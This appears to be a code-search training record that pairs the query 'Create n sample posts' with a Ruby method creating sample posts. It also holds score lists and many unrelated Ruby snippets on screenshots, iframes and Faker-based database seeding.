"def sbs\n page = wikipage_selector(\"Choose page to view side-by-side with the current page\")\n exit unless page\n\n if cururl.index(\"localhost/wiki\")\n url = cururl.to_s + \"?do=edit&vecdo=print\"\n else\n # uses Instapaper to nicely format the article text, for fitting into a split-screen window\n url = \"http://www.instapaper.com/text?u=\\\"+encodeURIComponent(\\\"#{cururl}\\\")+\\\"\"\n end\n newurl = \"http://localhost/wiki/#{page.gsub(\" \",\"_\")}\"\n\n js = \"var MyFrame=\\\"<frameset cols=\\'*,*\\'><frame src=\\'#{url}\\'><frame src=\\'#{newurl}?do=edit&vecdo=print\\'></frameset>\\\";with(document) { write(MyFrame);};return false;\"\n @chrome.windows[1].get.tabs[@chrome.windows[1].get.active_tab_index.get].get.execute(:javascript => js)\nend",
"def screenshot _value\n send_cmd(\"screenshot #{_value}\")\n end",
"def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend",
"def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend",
"def work_profile_block_screen_capture=(value)\n @work_profile_block_screen_capture = value\n end",
"def screenshot_and_save_page\n Capybara::Screenshot.screenshot_and_save_page\nend",
"def add_screenshot(scenario)\n nome = scenario.name.tr(' ', '_').downcase!\n captura = page.save_screenshot(\"log/screenshots/#{nome}.png\")\n attach(captura, 'image/png')\nend",
"def make_screen\n flags = [HWSURFACE, DOUBLEBUF] # FULLSCREEN will be added later\n @screen = Screen.open( [600, 900], 0, flags )\n @screen.title = \"Geotower for great good!\"\n end",
"def screenshot(width, height, quality)\n url = player_url+'/application/screenshot?'\n url += \"width=#{width}\"\n url += \"&height=#{height}\"\n url += \"&quality=#{quality}\"\n url += \"&#{plex_token}\" if plex_token\n\n ping url\n end",
"def screenshot\n Screenshot.new self\n end",
"def screenshot\n bridge.element_screenshot @id\n end",
"def switch_frame frame\n $driver.switch_to.frame(frame)\nend",
"def capture(url, filename)\n page_class = Class.new { include PageMagic }\n session = PageMagic.session(browser: :headless_chrome, url: url)\n session.visit(page_class, url: url)\n session.browser.save_screenshot(filename)\n filename\n end",
"def show\n require 'selenium-webdriver'\n require 'capybara'\n require 'nokogiri'\n # Capybara自体の設定、ここではどのドライバーを使うかを設定しています\n Capybara.configure do |capybara_config|\n capybara_config.default_driver = :selenium_chrome\n capybara_config.default_max_wait_time = 10 # 一つのテストに10秒以上かかったらタイムアウトするように設定しています\n end\n # Capybaraに設定したドライバーの設定をします\n Capybara.register_driver :selenium_chrome do |app|\n options = Selenium::WebDriver::Chrome::Options.new\n options.add_argument('headless') # ヘッドレスモードをonにするオプション\n options.add_argument('--disable-gpu') # 暫定的に必要なフラグとのこと\n Capybara::Selenium::Driver.new(app, browser: :chrome, options: options)\n end\n\n Capybara.javascript_driver = :selenium_chrome\n\n\n @b = Capybara.current_session\n # include Capybara::DSL;\n\n @b.visit('https://sketch.pixiv.net/lives')\n\n @b.windows.each do |w|\n @b.switch_to_window(w)\n @b.save_screenshot\n doc = Nokogiri::HTML.parse(@b.html)\n doc.xpath('//div[@class=\"Live\"]').each do |node|\n p \"ユーザー名\"\n p node.css('.owner').text\n p \"配信タイトル\"\n p node.css('.LiveFoot').text\n p \"配信URL\"\n p node.css('.thumb').attribute('href').text\n end\n end\n end",
"def addWebCam()\n pathToWebcam = \"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/video/webcams.webm\"\n pathToIntermediates= \"#{$PATHTOGENERATEINTERMEDIATES}/#{@meetingData.meetingId}\"\n\n # resize the webcam video\n puts \" Resizing webcam recording \"\n system \"ffmpeg -i #{pathToWebcam} -vcodec libx264 -vf scale=200:-1 #{pathToIntermediates}/webcamResized.mp4 -loglevel quiet\"\n \n # create a directory to store the final video(inside the published)\n pathToCompleteRecording=\"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/completeVideo\"\n createDirectoryIfNotExists(pathToCompleteRecording)\n\n puts \"Adding webcam into final video\"\n #merge it with the presentation+deskshare video\n system \"ffmpeg -i #{pathToIntermediates}/output.mp4 -i #{pathToIntermediates}/webcamResized.mp4 -filter_complex \\' overlay=x=main_w-overlay_w-10:y=main_h-overlay_h-10 \\' #{pathToCompleteRecording}/finalcut.mp4 -loglevel quiet\"\n end",
"def url_for_frameset; end",
"def url_for_frameset; end",
"def make_screenshot\n Logbook.step('Taking a screenshot of a result page')\n @browser.save_screenshot(\"screenshots/screenshot - #{Time.now.strftime('%Y-%m-%d %H-%M-%S')}.png\")\n end",
"def screenshot(driver,sess_time,shot_num,descr)\n filename = \"shot-#{shot_num}-#{driver.current_url.sub(\"http://\",\"\").sub(\"admin:123@\",\"\").gsub(\"/\",\"-\")}-(#{descr})-#{sess_time}.png\"\n # driver.save_screenshot (\"shot-#{shot_num}-#{driver.current_url.sub(\"https://format-staging.com/\",\"\").gsub(\"/\",\"-\")}-(#{descr})-#{sess_time}.png\")\n driver.save_screenshot(filename)\n # puts (\" 📸 Shot #{shot_num} (#{driver.current_url})\")\n puts (\" 📸 #{filename}\")\n return 1\nend",
"def setup\n allow_cors unless !ConcertoConfig[:public_concerto]\n @preview = params.has_key?(:preview) && params[:preview] == \"true\"\n begin\n @screen = Screen.find(params[:id])\n allow_screen_if_unsecured @screen\n auth! action: (@preview ? :preview : :display)\n rescue ActiveRecord::ActiveRecordError\n render json: {}, status: 404\n rescue CanCan::AccessDenied\n render json: {}, status: 403\n else\n # If we got the dimensions then keep them so we can indicate its orientation in the screen list.\n if params['width'].present? and params['height'].present? and !@preview\n height = params['height'].to_i rescue nil\n width = params['width'].to_i rescue nil\n @screen.update_columns(height: height, width: width)\n Rails.logger.debug(\"updated screen #{@screen.id} dimensions #{width}w x #{height} h\")\n end\n\n # field_configs = [] # Cache the field_configs\n @screen.run_callbacks(:frontend_display) do\n # Inject paths into fake attribute so they gets sent with the setup info.\n # Pretend that it's better not to change the format of the image, so we detect it's upload extension.\n if !@screen.template.media.preferred.first.nil?\n template_format = File.extname(@screen.template.media.preferred.first.file_name)[1..-1]\n @screen.template.path = frontend_screen_template_path(@screen, @screen.template, format: template_format)\n else\n template_format = nil\n @screen.template.path = nil\n end\n css_media = @screen.template.media.where({key: 'css'})\n if !css_media.empty?\n @screen.template.css_path = media_path(css_media.first)\n end\n @screen.template.positions.each do |p|\n p.field_contents_path = frontend_screen_field_contents_path(@screen, p.field, format: :json)\n p.field.config = {}\n FieldConfig.default.where(field_id: p.field_id).each do |d_fc|\n p.field.config[d_fc.key] = d_fc.value\n # field_configs << d_fc\n end\n @screen.field_configs.where(field_id: p.field_id).each do |fc|\n p.field.config[fc.key] = fc.value\n # field_configs << fc\n end\n # add how to handle when content cannot be loaded or has run out\n p.field.config['screens_clear_last_content'] = ConcertoConfig['screens_clear_last_content']\n end\n end\n\n frontend_cache_key = @screen.frontend_cache_key\n response.headers[\"X-Concerto-Frontend-Setup-Key\"] = frontend_cache_key\n\n @screen.time_zone = ActiveSupport::TimeZone::MAPPING[@screen.time_zone]\n if stale?(etag: frontend_cache_key, public: true)\n respond_to do |format|\n format.json {\n render json: @screen.to_json(\n only: [:name, :id, :time_zone, :locale],\n include: {\n template: {\n include: {\n positions: {\n except: [:created_at, :updated_at, :template_id, :field_id],\n methods: [:field_contents_path],\n include: {\n field: {\n methods: [:config],\n only: [:id, :name, :config]\n }\n }\n },\n },\n only: [:id, :name],\n methods: [:path, :css_path]\n }\n }\n )\n }\n end\n end\n\n unless @preview\n @screen.mark_updated\n end\n end\n end",
"def screenshot\n @browser.save_screenshot(\"screenshot.png\")\n end",
"def c_frame?; end",
"def capture_device\n determine_capture_device\n end",
"def flash_link_inside_frame(browser_handle, frame_prop, frame_prop_val, link_prop, link_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).link(link_prop.intern, /#{link_prop_val}/).flash\nend",
"def iframe\r\n return '' if @page.if_url.blank?\r\n\r\n html = \"\\n<iframe\"\r\n html << \" id=\\\"#{@page.if_id}\\\"\" if @page.if_id.present?\r\n html << \" class=\\\"#{@page.if_class}\\\"\" if @page.if_class.present?\r\n html << \" border=\\\"#{@page.if_border}\\\"\" \r\n html << \" height=\\\"#{@page.if_height}\\\"\" if @page.if_height.present?\r\n html << \" width=\\\"#{@page.if_width}\\\"\" if @page.if_width.blank?\r\n html << \" scrolling=\\\"#{@page.if_scroll}\\\"\"\r\n # Parameters\r\n parameters = @page.if_url.match(/\\?/) ? '' : '?' \r\n params = YAML.load(@page.if_params) rescue {}\r\n params = {} unless params.class == Hash\r\n params.each do |key, value|\r\n val = @parent.dc_internal_var(value['object'], value['method'])\r\n parameters << \"&#{key}=#{val}\" if val # only when not nil\r\n end\r\n url = @page.if_url + (parameters.blank? ? '' : parameters)\r\n html << \"src=\\\"#{url}\\\" ></iframe>\\n\"\r\n html\r\nend",
"def preview(&block)\n frame = JFrame.new('Preview')\n frame.add_window_listener WindowClosed.new(block)\n frame.set_bounds 0, 0, width + 20, height + 40\n frame.add JImagePanel.new(self, 10, 10)\n frame.visible = true\n end",
"def wymiframe\n render :template => \"/wymiframe\", :layout => false\n end",
"def capture(url, title)\n template_key = 'l'\n ec = '/usr/local/bin/emacsclient'\n `#{ec} org-protocol:/capture:/#{template_key}/'#{escape url}'/'#{escape title}'/''`\nend",
"def run\n super\n\n uri = _get_entity_name\n \n begin \n _log \"Browser Navigating to #{uri}\"\n c = Intrigue::ChromeBrowser.new\n browser_response = c.navigate_and_capture(uri)\n rescue Errno::ECONNREFUSED => e \n _log_error \"Unable to connect to chrome browser. Is it running on :9222?\"\n rescue StandardError => e\n `pkill -9 chromium` # hacktastic\n end\n\n if browser_response \n # capture a screenshot and save it as a detail\n _set_entity_detail(\"hidden_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_requests\",browser_response[\"requests\"])\n end\n\n end",
"def capture_command \n cmd = \"#{@cutycapt_path} --url='#{@url}'\"\n cmd += \" --out='#{@folder}/#{@filename}'\"\n cmd += \" --max-wait=#{@max_wait}\"\n cmd += \" --delay=#{@delay}\" if @delay\n cmd += \" --user-agent='#{@user_agent}'\"\n cmd += \" --min-width='#{@min_width}'\"\n cmd += \" --min-height='#{@min_height}'\"\n\n \n if determine_os == :linux and check_xvfb\n xvfb = 'xvfb-run --server-args=\"-screen 0, 1024x768x24\" '\n xvfb.concat(cmd)\n else\n cmd\n end \n end",
"def add_to_replay_log( browser, session )\n if @replay_log\n @ssnum = @ssnum + 1\n\n if session.get_config :global, :screenshots\n begin\n browser.driver.save_screenshot \"#{@replay_path}/screenshot_#{@ssnum}.png\"\n\n if session.get_config :global, :thumbnails\n require 'mini_magick'\n\n image = MiniMagick::Image.open(\"#{@replay_path}/screenshot_#{@ssnum}.png\")\n image.resize \"400\"\n image.write \"#{@replay_path}/screenshot_#{@ssnum}_thumb.png\"\n FileUtils.chmod 0755, \"#{@replay_path}/screenshot_#{@ssnum}_thumb.png\"\n\n @replay_log.debug \"Screenshot: <a href='screenshot_#{@ssnum}.png'><img src='screenshot_#{@ssnum}_thumb.png' /></a>\"\n else\n @replay_log.debug \"Screenshot: <a href='screenshot_#{@ssnum}.png'>Screenshot</a>\"\n end\n rescue Exception => e\n @normal_log.warn \"Screenshot failed with exception #{e}\"\n end\n end\n\n html=browser.html\n htmlFile = File.new(\"#{@replay_path}/html_capture_#{@ssnum}.txt\", \"w\")\n htmlFile.write(html)\n htmlFile.close\n\n @replay_log.debug \"<a href='html_capture_#{@ssnum}.txt'>HTML Source</a>\"\n @replay_log.debug \"Force flush\"\n end\n end",
"def draw\n @screen.insert(@frame, 0, 0)\n @screen.draw(0, 0, 0)\n end",
"def take\n check\n `adb pull /dev/graphics/fb0 fb0`\n `dd bs=1920 count=800 if=fb0 of=fb0b`\n `ffmpeg -vframes 1 -vcodec rawvideo -f rawvideo -pix_fmt rgb565 -s 480x800 -i fb0 -f image2 -vcodec png #{@destination_folder}/#{@prefix}#{@no}.png`\n `rm fb0b`\n end",
"def preview(&block)\n frame = JFrame.new(\"Preview\")\n frame.add_window_listener WindowClosed.new(block)\n frame.set_bounds 0, 0, width + 20, height + 40\n frame.add JImagePanel.new(self, 10, 10)\n frame.visible = true\n end",
"def snapScreen\n bmp = Graphics.snap_to_bitmap\n width = self.viewport ? viewport.rect.width : Graphics.width\n height = self.viewport ? viewport.rect.height : Graphics.height\n x = self.viewport ? viewport.rect.x : 0\n y = self.viewport ? viewport.rect.y : 0\n self.bitmap = Bitmap.new(width,height)\n self.bitmap.blt(0,0,bmp,Rect.new(x,y,width,height)); bmp.dispose\n end",
"def write_to_screen!; end",
"def write_to_screen!; end",
"def screenshot_as(format, full_page: T.unsafe(nil)); end",
"def screenshot(filename=Time.now\\\n .strftime(\"Screenshot from %Y-%m-%d %d-%m-%y\"))\n\n XDo::Keyboard.simulate('{print}');\n sleep 4;\n XDo::Keyboard.simulate(\"{down}\")\n sleep 4;\n XDo::Keyboard.alt_s\n sleep 5;\n XDo::Keyboard.type filename\n sleep 3\n XDo::Keyboard.alt_s\n sleep 1\n\n end",
"def screen\n BubbleWrap::Device::Screen\n end",
"def add_frame(frame)\n end",
"def capture_screenshot\n screenshot_file = ScreenshotClient.capture(live_url, format: 'JPG')\n\n screenshot = WorkshopProjectScreenshot.new\n screenshot.file.attach(\n io: screenshot_file,\n filename: 'screenshot.jpg'\n )\n\n self.screenshot = screenshot\n end",
"def dispatcher\n screen = screen_name\n # continuosly remove tokens seperated by '_', starting from the end\n # until there are no more tokens, or we find one that we respond to\n begin\n if self.respond_to?(screen.to_sym) \n self.method(screen).call\n return\n end\n tokens = screen.split(\"_\")\n screen = tokens.take(tokens.length - 1).join(\"_\")\n end while screen != \"\"\n # even if we don't have an action for this screen, attempt to embed it.\n # if anything captureui will just 404 or complain.\n embed_screen\n end",
"def make_screen\n @screen = Screen.new(Configuration.screen[:size], 32, [HWSURFACE, DOUBLEBUF])\n\n @screen.title = \"Towerdefence!\"\n end",
"def run\n super\n \n net_service = _get_entity_name\n \n target = net_service.split(\":\").first\n port = net_service.split(\":\").last.split(\"/\").first\n \n unless port == \"3389\"\n _log \"Incorrect RDP port! Will not perform certificate extraction.\"\n return\n end\n \n rdesktop_command = \"xvfb-run scrying -t rdp://#{target} -o /tmp/scrying_outputs\"\n _log \"Running: #{rdesktop_command}\"\n _unsafe_system(rdesktop_command)\n \n if File.file?(\"/tmp/scrying_outputs/rdp/#{target}-3389.png\")\n _log \"Found screenshot! Attaching to entity as detail\"\n # todo, set image as entity detail\n screenshot_image = Base64.strict_encode64(File.read(\"/tmp/scrying_outputs/rdp/#{target}-3389.png\"))\n _set_entity_detail \"extended_screenshot_contents\", screenshot_image\n _set_entity_detail \"screenshot_exists\", true\n\n \n # delete temporary screenshot file\n _unsafe_system(\"rm /tmp/scrying_outputs/rdp/#{target}-3389.png\")\n else\n _set_entity_detail \"screenshot_exists\", false\n end\n\n end",
"def parent_frame; end",
"def flash_radio_button_inside_frame(browser_handle, frame_prop, frame_prop_val, radio_prop, radio_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).radio(radio_prop.intern, /#{radio_prop_val}/).flash\nend",
"def screen_capture_params\n params.require(:screen_capture).permit(:service_url, :file_name)\n end",
"def capture_screenshot\n # Curses is initialized\n window = Curses.stdscr\n old_x = window.curx\n old_y = window.cury\n chars = []\n window.maxy.times do |idx_y|\n window.maxx.times do |idx_x|\n window.setpos idx_y, idx_x\n chars << window.inch\n end\n end\n window.setpos old_y, old_x\n # Build the map of colors per color pair acutally registered\n colors_left_shift = Curses::A_COLOR.to_s(2).match(/^1+(0+)$/)[1].size\n color_pairs = CursesMenu.constants.select { |const| const.to_s.start_with?('COLORS_') }.to_h do |const|\n color_pair = CursesMenu.const_get(const)\n [\n # On Windows using Curses.color_pair can result in bugs [BUG] Unnormalized Fixnum value when using/displaying the value.\n # So for now we depend on the internal algorithm used by color_pair (which is a left shift of the 0 bits of A_COLOR mask)\n # TODO: Uncomment the following when curses will be fixed on Windows\n # Curses.color_pair(color_pair),\n color_pair << colors_left_shift,\n const\n ]\n end\n chars.\n map do |chr|\n {\n char: begin\n (chr & Curses::A_CHARTEXT).chr(Encoding::UTF_8)\n rescue RangeError\n # On Windows curses returns wrong encoded characters.\n # In this case we just force an ASCII version of it.\n (chr & 255).chr(Encoding::UTF_8)\n end,\n color: color_pairs[chr & Curses::A_COLOR] || (chr & Curses::A_COLOR),\n attributes: chr & Curses::A_ATTRIBUTES\n }\n end.\n each_slice(window.maxx).\n to_a\n end",
"def select_iframeid\r\n storeHtmlSource = @driver.page_source\r\n storeHtmlSource2 = storeHtmlSource.gsub(/frameborder=\"0\" /, '')\r\n index = storeHtmlSource2.to_s.match(/iframe id=\"[a-z]+[0-9]+\"/)\r\n @iframe = index[0].match(/[a-z]+[0-9]+/)\r\n end",
"def full_screen\n if Capybara.current_driver == :selenium\n this_path = current_path\n page.driver.browser.manage.window.resize_to(1366, 768)\n visit this_path\n end\n end",
"def snap_screen\n bmp = Graphics.snap_to_bitmap\n width = self.viewport ? viewport.rect.width : Graphics.width\n height = self.viewport ? viewport.rect.height : Graphics.height\n x = self.viewport ? viewport.rect.x : 0\n y = self.viewport ? viewport.rect.y : 0\n self.bitmap = Bitmap.new(width,height)\n self.bitmap.blt(0,0,bmp,Rect.new(x,y,width,height)); bmp.dispose\n end",
"def morcego_iframe(control_window_name, destination_name)\n control_window_name ||= \"morcego\"\n destination_name ||= \"morcego-destination\"\n return <<EOD\n <iframe name=\"#{control_window_name}\" id=\"#{control_window_name}\"\n onload=\"morcegoNavigate();\" style=\"display: none;\"></iframe>\n\t <div id=\"#{destination_name}\"></div>\n\t <script language=\"JavaScript\">\n\t function morcegoNavigate() {\n\t var cont = window.frames.#{control_window_name}.document.documentElement;\n\t document.getElementById('#{destination_name}').innerHTML = cont.innerHTML;\n\t }\n\t </script>\nEOD\n end",
"def switch_to_frame(criteria,value)\r\n\t\t\tel = @driver.find_element(criteria.to_sym, value)\t\r\n\t\t\tputs \"Iframe: \"\r\n\t\t\tputs el\t\r\n\t\t\t@driver.switch_to.frame(el)\r\n\t\tend",
"def _run_and_capture(*args, **kwargs)\n @display_mgr.run_and_capture(*args, **kwargs)\n end",
"def flash_button_inside_frame(browser_handle, frame_prop, frame_prop_val, button_prop, button_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).button(button_prop.intern, /#{button_prop_val}/).flash\nend",
"def step\n # Draw everything\n @image.draw @screen\n end",
"def frame_managers(_pry_); end",
"def showFrames()\n=begin\n \n ff = @ie.document.frames\n\n log \"there are \" + ff.length.to_s + \" frames\" if $debuglevel >=0\n\n for f in 0 .. ff.length-1\n log \"Frame: \" + ff[f.to_s].name.to_s if $debuglevel >=0 \n log \"My parent is: \" + ff[f.to_s].parentWindow.name.to_s if $debuglevel >=0\n end \n\n #frame = @ie.document.frames[ frameName ].document\n \n=end\n end",
"def show\n @iframe = @video.iFrame_Source.html_safe\n end",
"def display_signature(frame)\n return nil unless frame\n frame.iseq.object_id\nend",
"def frm\n self.frame(:src=>/TBD/)\n end"
] |
[
"0.68680793",
"0.65823877",
"0.6148493",
"0.61085856",
"0.61085856",
"0.60696733",
"0.5980833",
"0.5979643",
"0.5967544",
"0.59474146",
"0.59474146",
"0.5915155",
"0.5908444",
"0.5866771",
"0.5846596",
"0.5846596",
"0.57578295",
"0.57227653",
"0.56973493",
"0.56903225",
"0.5673943",
"0.56714135",
"0.5670999",
"0.5668653",
"0.56651807",
"0.56335837",
"0.56261784",
"0.55660456",
"0.5554602",
"0.55520695",
"0.5546523",
"0.55233526",
"0.5522039",
"0.54977775",
"0.54905546",
"0.54855466",
"0.5447325",
"0.5440457",
"0.54370654",
"0.5412398",
"0.54039955",
"0.5384006",
"0.53611356",
"0.5359803",
"0.5359213",
"0.53422123",
"0.53402543",
"0.5339237",
"0.53214586",
"0.5316638",
"0.5312883",
"0.53081244",
"0.53059745",
"0.5305506",
"0.5296233",
"0.5296233",
"0.5266727",
"0.5259453",
"0.5244121",
"0.52416307",
"0.52369934",
"0.5219532",
"0.52170306",
"0.5205555",
"0.5203724",
"0.51986396",
"0.5193202",
"0.51920325",
"0.51898915",
"0.518908",
"0.51890504",
"0.5178026",
"0.5174383",
"0.51722634",
"0.51692295",
"0.51692295",
"0.5165167",
"0.5161866",
"0.5159147",
"0.5157947",
"0.5147285",
"0.514633",
"0.5135597",
"0.51316035",
"0.51179963",
"0.5111477",
"0.5104058",
"0.5103542",
"0.51024866",
"0.5096285",
"0.5079459",
"0.5071497",
"0.5068123",
"0.5063196",
"0.5057699",
"0.50533843",
"0.50485617",
"0.50482434",
"0.50462383",
"0.5044343",
"0.5040099"
] |
0.0
|
-1
|
Create n sample posts
|
def create_samples(n)
n.times do |i|
Post.create(title: "New Post #{i}", body: "Body of post #{i}", created_at: Time.now)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def seed_posts(count)\n (1..count).map do\n post = Post.create!(title: Faker::Lorem.words(number: rand(2..10)).join(' '),\n content: Faker::Lorem.paragraphs(number: rand(2..8)).join(' '),\n user: User.create!(login: Faker::Name.unique.last_name))\n post.ratings.create!(rating: rand(1..5))\n post\n end\n end",
"def create_hitsets_and_post(n)\n (n/5).times{self.create_a_hit_and_post!}\n end",
"def generate_posts_for(micropost, num_posts)\r\n\tcreator = micropost.user\r\n\r\n\tposts = []\r\n\t\r\n\twhile num_posts > 0 do\r\n\t\tposter = FactoryGirl.create(:user)\r\n\t\tmake_friends(poster, creator)\r\n\t\tposter.participate(micropost)\r\n\t\t\r\n\t\tposts << FactoryGirl.create(:post, user: poster, micropost: micropost)\r\n\t\t\r\n\t\tnum_posts-=1\r\n\tend\r\n\t\r\n\treturn posts\r\nend",
"def make_tags\r\n Post.all.each do |post|\r\n 10.times do\r\n name = Faker::Lorem.word\r\n post.tags.create!(name: name)\r\n end\r\n end\r\nend",
"def create_posts(results, opts = {})\n skipped = 0\n created = 0\n total = opts[:total] || results.count\n start_time = get_start_time(\"posts-#{total}\") # the post count should be unique enough to differentiate between posts and PMs\n\n results.each do |r|\n params = yield(r)\n\n # block returns nil to skip a post\n if params.nil?\n skipped += 1\n else\n import_id = params.delete(:id).to_s\n\n if post_id_from_imported_post_id(import_id)\n skipped += 1\n else\n begin\n new_post = create_post(params, import_id)\n if new_post.is_a?(Post)\n add_post(import_id, new_post)\n add_topic(new_post)\n created_post(new_post)\n created += 1\n else\n skipped += 1\n puts \"Error creating post #{import_id}. Skipping.\"\n p new_post\n end\n rescue Discourse::InvalidAccess => e\n skipped += 1\n puts \"InvalidAccess creating post #{import_id}. Topic is closed? #{e.message}\"\n rescue => e\n skipped += 1\n puts \"Exception while creating post #{import_id}. Skipping.\"\n puts e.message\n puts e.backtrace.join(\"\\n\")\n end\n end\n end\n\n print_status(created + skipped + (opts[:offset] || 0), total, start_time)\n end\n\n [created, skipped]\n end",
"def create_article_tags\n 5.times do\n Tag.create(tag_text: Faker::Hipster.word, author_id: Author.pluck(:id).sample, taggable_type: \"Article\", taggable_id: Article.pluck(:id).sample)\n end\nend",
"def make_microposts\n # Generate 50 posts for 6 users. Use Faker to generate some content for the Microposts.\n 50.times do\n User.all(:limit => 6).each do |user|\n user.microposts.create!(:content => Faker::Lorem.sentence(5))\n end\n end\nend",
"def create_comments\n Author.all.each do |author|\n 2.times do\n Comment.create(body: Faker::Hipster.sentence(2), author_id: author.id, article_id: Article.pluck(:id).sample)\n end\n end\nend",
"def make_microposts\r\n users = User.all(limit: 6)\r\n 50.times do\r\n content = Faker::Lorem.sentence(5)\r\n users.each { |user| user.microposts.create!(content: content) }\r\n end\r\nend",
"def create_posts\n end",
"def create_posts\n end",
"def create_posts(quantity=30)\n entries = if self.last_post_identifier\n self.fetch_entries_since(last_post_identifier)\n else\n self.fetch_entries(quantity)\n end\n posts = self.build_posts_from_entries(entries)\n posts.map do |post|\n unless post.exists?\n if post.save\n post.id\n else\n logger.warn \"Error saving Post: #{post.service.try(:name)} - #{post.identifier} - #{post.errors.full_messages.to_sentence}\"\n nil\n end\n else\n logger.info \"Post: #{post.service.try(:name)} - #{post.identifier} -- already exists.\"\n nil\n end\n end\n end",
"def seed\n Story.delete_all\n Comment.delete_all\n 20.times do |n|\n story = Story.create!(\n title: Faker::Lorem.sentence,\n url: Faker::Internet.url,\n points: rand(-100..100),\n image: Faker::Avatar.image,\n created_at: Faker::Time.backward(14),\n )\n\n rand(0..10).times do |x|\n comment = story.comments.create!(\n body: Faker::Lorem.paragraph(2),\n points: rand(-100..100),\n )\n\n rand(0..3).times do |y|\n comment.replies.create!(\n body: Faker::Lorem.paragraph(rand(1..9)),\n points: rand(-10..10)\n )\n end\n end\n end\n redirect_to root_path\n end",
"def create_other_members_posts\n\t\tposts = []\n\t\tother_user = create_other_member_user\n\t\tposts << FactoryGirl.create(:post, :user_id => other_user.id, :title => \"Post 1\", :body => \"In Post 1 we talk about...\", :public => true) \n\t posts << FactoryGirl.create(:post, :user_id => other_user.id, :title => \"Post 2\", :body => \"In Post 2 we talk about...\", :public => false) \n\t posts << FactoryGirl.create(:post, :user_id => other_user.id, :title => \"Post 3\", :body => \"In Post 3 we talk about...\", :public => true)\n\tend",
"def test_ID_25890_published_posts_01\n login $user_1_email, $master_password\n go_to_edit_profile_page\n $profiles_your_posts.click\n postCount = count_post_current\n if (postCount < 5)\n i=1\n while i < 5\n $browser.goto($patch_note)\n \t$post_pick_group.when_present().click\n \t$browser.link(:text, Regexp.new(groupName)).click\n \t$post_compose_note.when_present().set(\"Note field populated by automated test.\")\n \t$post_now_button.when_present().click\n i = i+1\n end\n end \n end",
"def populate_queue(n_weeks)\n n_weeks.times do |i_week|\n schedules.sort_by{|s| s.distribution_time(i_week)}.each do |schedule|\n schedule.schedule_assignments.each do |schedule_assignment|\n\n content_distribution = next_content_distribution(schedule_assignment)\n\n Post.create(\n :distribution_time => schedule.distribution_time(i_week),\n :distribution_id => content_distribution.id,\n :schedule_assignment_id => schedule_assignment.id\n ) if content_distribution\n\n end\n end\n end\n end",
"def test_add_post\n c = Post.count\n Post.create(:title => @normal_post.title, :content => @normal_post.content)\n assert_equal(c + 1, Post.count)\n end",
"def create_questions(qcat_array)\ncounter = 0\n10.times do\nQuestion.create(\n question_text: qcat_array[counter][0],\n category: qcat_array[counter][1]\n)\ncounter = counter + 1\nend\nend",
"def new_post *args\n groups(:studio1).posts.new *args\n end",
"def build_posts\n post_view = PostView.new\n @posts.each do |post|\n FileUtils.mkdir_p(ROOT / WWW / 'posts' / post.slug)\n File.open(ROOT / WWW / 'posts' / post.slug / 'index.html', 'w') do |f|\n f.print post_view.render(:post => post)\n end\n end\n end",
"def create_multiple\n @sample = Sample.find(params[:id])\n 3.times do\n # @child = Sample.new\n @child = @sample.children.create!\n @child.save\n #@sample.save\n # study = @sample.studies.build\n # material_type = @sample.material_types.build\n end\n # @samples = Sample.find(params[:sample_ids])\n # @samples.each do |sample|\n # sample.save#!(params[:sample].reject { |k,v| v.blank? })\n # end\n flash[:notice] = \"Sample's children were successfully created!\"\n redirect_to samples_path\n end",
"def make_microposts\n #this was above but upon merge I found my file & moved this here\n #10.23: Adding mp's to sample data, looping thru 6 users & adding 50 mp's\n users = User.all(limit: 6)\n 51.times do\n content = Faker::Lorem.sentence(5)\n users.each { |user| user.microposts.create!(content: content) }\n #to generate:\n #bundle exec rake db:reset\n # bundle exec rake db:populate\n\n end\nend",
"def new\n @post = Post.new\n 5.times { @post.blog_images.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def seed_users\n 10.times do\n \tu = User.create(name:Faker::Name.name, email:Faker::Internet.free_email, password:\"testing\")\t \n\t\t 5.times do\n\t\t \t\ts = Survey.create(name: Faker::Company.bs)\n\t\t \t\tu.created_surveys << s\n\t\t \t\t\t6.times do\n\t\t\t\t \t\tquestion_text = Faker::Lorem.sentence + \"?\"\n\t\t\t\t \t\tq = Question.create(text: question_text)\n\t\t\t\t \t\t\t\t# each q has 4 choices\n\t\t\t\t \t\t\t4.times do\n\t\t\t\t \t\t\t\tc = Choice.create(choice: Faker::Company.bs)\n\t\t\t\t \t\t\t\tq.choices << c\n\t\t\t\t \t\t\tend\n\t\t\t\t \t\ts.questions << q\n\t\t\t\t \tend\n\t\t \tend\n end\nend",
"def explore\n #all posts are collected from the database\n @posts = Post.all\n @newPost = Post.new\n end",
"def create_vans(n)\n puts \"creating #{n} random vans!\"\n n.times do |count|\n v = Van.new(\n title: Faker::FunnyName.name,\n description: 'the best van ever',\n location: addresses.sample,\n brand: ['Volvo', 'Mercedes', 'Ferrari', 'Maserati'].sample,\n category: ['family trip', 'road trip', 'luxury camping'].sample,\n price_per_day: [50,25,120,350].sample,\n seats: [[1,2,3,4]*2,[6]*4,[8]*4,[12]*4].flatten.sample,\n user: random_user\n # photo: camper_van_photos.sample\n )\n v.remote_photo_url = camper_van_photos.sample\n v.save!\n print \"*\"\n print \"\\n\" if (count + 1) % 10 == 0\n end\nend",
"def create_question_responses\n 10.times do\n response = Response.create(content: \"that sucks\", response_context_type: \"Question\", response_context_id: rand(1..12))\n User.find(rand(3)+1).responses << response\n end\nend",
"def create_songs\n 5.times do |i|\n url = \"https://stg-resque.hakuapp.com/songs.json?album_id=#{i+1}\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n songs = JSON.parse(response)\n\n songs.each do |song|\n Song.create!(song.except('id'))\n end\n end\nend",
